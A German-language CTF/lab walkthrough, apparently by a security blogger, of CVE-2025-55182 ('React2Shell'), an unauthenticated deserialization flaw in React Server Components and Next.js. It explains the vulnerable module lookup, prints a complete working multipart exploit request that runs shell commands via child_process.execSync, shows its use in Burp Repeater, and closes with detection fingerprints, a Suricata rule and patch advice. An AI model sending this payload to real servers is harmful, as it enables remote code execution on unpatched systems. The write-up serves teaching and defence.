
React2Shell CVE-2025-55182: nicht authentifizierte unsichere Deserialisierung in React Server Components, die zu zuverlässiger Remote-Codeausführung über das Flight-Protokoll führt.
Schwierigkeit: Mittel → Fortgeschritten
Kategorie: Web-Ausnutzung | Deserialisierung | RCE

CVE-2025-55182, Spitzname React2Shell, ist eine dieser Schwachstellen, die Verteidiger sofort nervös macht 😬. Entdeckt im Dezember 2025, trägt sie einen CVSS-Score von 10.0, was bereits zeigt, dass dies kein Randfallfehler ist.
Im Kern betrifft diese Schwachstelle React Server Components (RSC) und darauf aufbauende Frameworks — am bekanntesten Next.js. Der gruselige Teil?
👉 Unauthentifizierte Remote-Code-Ausführung (RCE) 👉 Ein einzelner manipulierter HTTP-Request 👉 Standardkonfigurationen sind anfällig
Kein Login. Keine besonderen Berechtigungen. Nur eine wohlgeformte Anfrage.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackDiese Aufgabe führt uns durch warum dieser Fehler existiert, wie er ausgenutzt wird und was Verteidiger dagegen tun können.
Flagge: Keine Antwort nötig.
Vor der Ausnutzung benötigen wir Klarheit über die Architektur.
React Server Components (eingeführt in React 19) erlauben es, Teile einer React-App auf dem Server auszuführen, nicht im Browser. Das bedeutet:
Die Kommunikation zwischen Client und Server erfolgt über das React Flight-Protokoll. Dieses Protokoll serialisiert Daten auf dem Client und deserialisiert sie auf dem Server.
Es verwendet spezielle Marker:
$@ → Chunk reference
$B → Blob reference
Property paths via colon notation Example:
$1:constructor:constructor
⚠️ Und genau hier liegt der Fehler in der Serialisierungslogik.
Frage: Welches Symbol kennzeichnet eine Blob-Referenz?
✅ Antwort: $B
Im Herzen von CVE-2025-55182 liegt ein klassischer unsicherer Deserialisierungsfehler.
Schauen wir uns das anfällige Muster an (nicht zuschneiden 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
In JavaScript, die Klammernotation:
obj[someKey]
beschränkt den Zugriff nicht nur auf exportierte Eigenschaften. Sie durchläuft die gesamte Prototypenkette.
Jetzt kommt die entscheidende Erkenntnis 👀:
.constructorconstructor zeigt auf den Function-KonstruktorFunction("code") = beliebige JS-AusführungDa das Flight-Protokoll durch Doppelpunkte getrennte Pfade erlaubt, kann ein Angreifer senden:
$1:constructor:constructor
Was aufgelöst wird zu:
.constructor zugreifen.constructor zugreifen → FunctionAn diesem Punkt ist das Spiel vorbei 🎮.
Flagge: Keine Antwort nötig.
Jetzt zerlegen wir maple3142's PoC Schritt für Schritt.
Der Angreifer sendet eine Multipart-Anfrage mit einem gefälschten Chunk-Objekt:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Dieses Objekt ahmt die interne Chunk-Struktur von React nach.
Indem then auf Chunk.prototype.then zeigt, wird React dazu verleitet, auf eine angreifergesteuerte Logik zu warten.
Der Marker $B1337 löst den Blob-Deserialisierungs-Handler aus, der intern ausführt:
response._formData.get(response._prefix + id)
Aber wir haben vergiftet:
_formData.get → Function_prefix → bösartiges JSResultierende Ausführung:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Beliebige JavaScript-Ausführung erreicht.
Der PoC führt aus:
process.mainModule
.require('child_process')
.execSync('xcalc')
Dies kann trivial ersetzt werden durch:
Flagge: Keine Antwort nötig.
Hier ist die vollständige Exploit-Anfrage (wörtlich, nicht beschnitten):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…Multipart-Body wird fortgesetzt…)
Next-Action-Header löst Server Actions ausmultipart/form-data ist obligatorisch$@0 erzeugt eine Selbstreferenz$B1337 löst Blob-Logik ausconstructor:constructor führt zu FunctionDies ist kein Zufall – es ist eine präzise konstruierte Kette.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
Others: React Router (RSC), Waku, Redwood SDK
📊 Wiz-Forschung: 39 % der Cloud-Umgebungen exponiert 🌐 Shodan: 571k+ React-Server, 444k+ Next.js
Das ist… eine Menge 😶
Zunächst in Repeater eine neue HTTP-Anfrage erstellen und Ziel auswählen.

Mit Burp Suite Repeater senden wir die Payload:
execSync('id')

Und später:
execSync('whoami')

User: ubuntu
Flagge:
{React-19.2.0}
Saubere, zuverlässige, wiederholbare Ausnutzung 💀
Gute Nachrichten für Verteidiger 👮♂️ — die Ausnutzung hinterlässt Fingerabdrücke.
Next-Action headermultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"Diese sollten niemals im normalen Benutzerverkehr auftauchen.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Perfekt für:

React2Shell ist ein Lehrbuchbeispiel für:
Sobald gepatchte Versionen installiert und die Empfehlungen von npm audit befolgt werden, stirbt der Exploit vollständig ✅.
⚠️ Testen Sie dies niemals außerhalb autorisierter Labore.
🔥 Patchen Sie immer schnell.
🧠 Verstehen Sie immer warum ein Fehler existiert – nicht nur, wie man ihn ausnutzt.
Wenn Ihnen dieser Bericht gefallen hat oder Sie mit meiner Arbeit in Cybersicherheit, CTFs und VAPT in Verbindung bleiben möchten:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Happy Hacking — verantwortungsbewusst 🗿🚀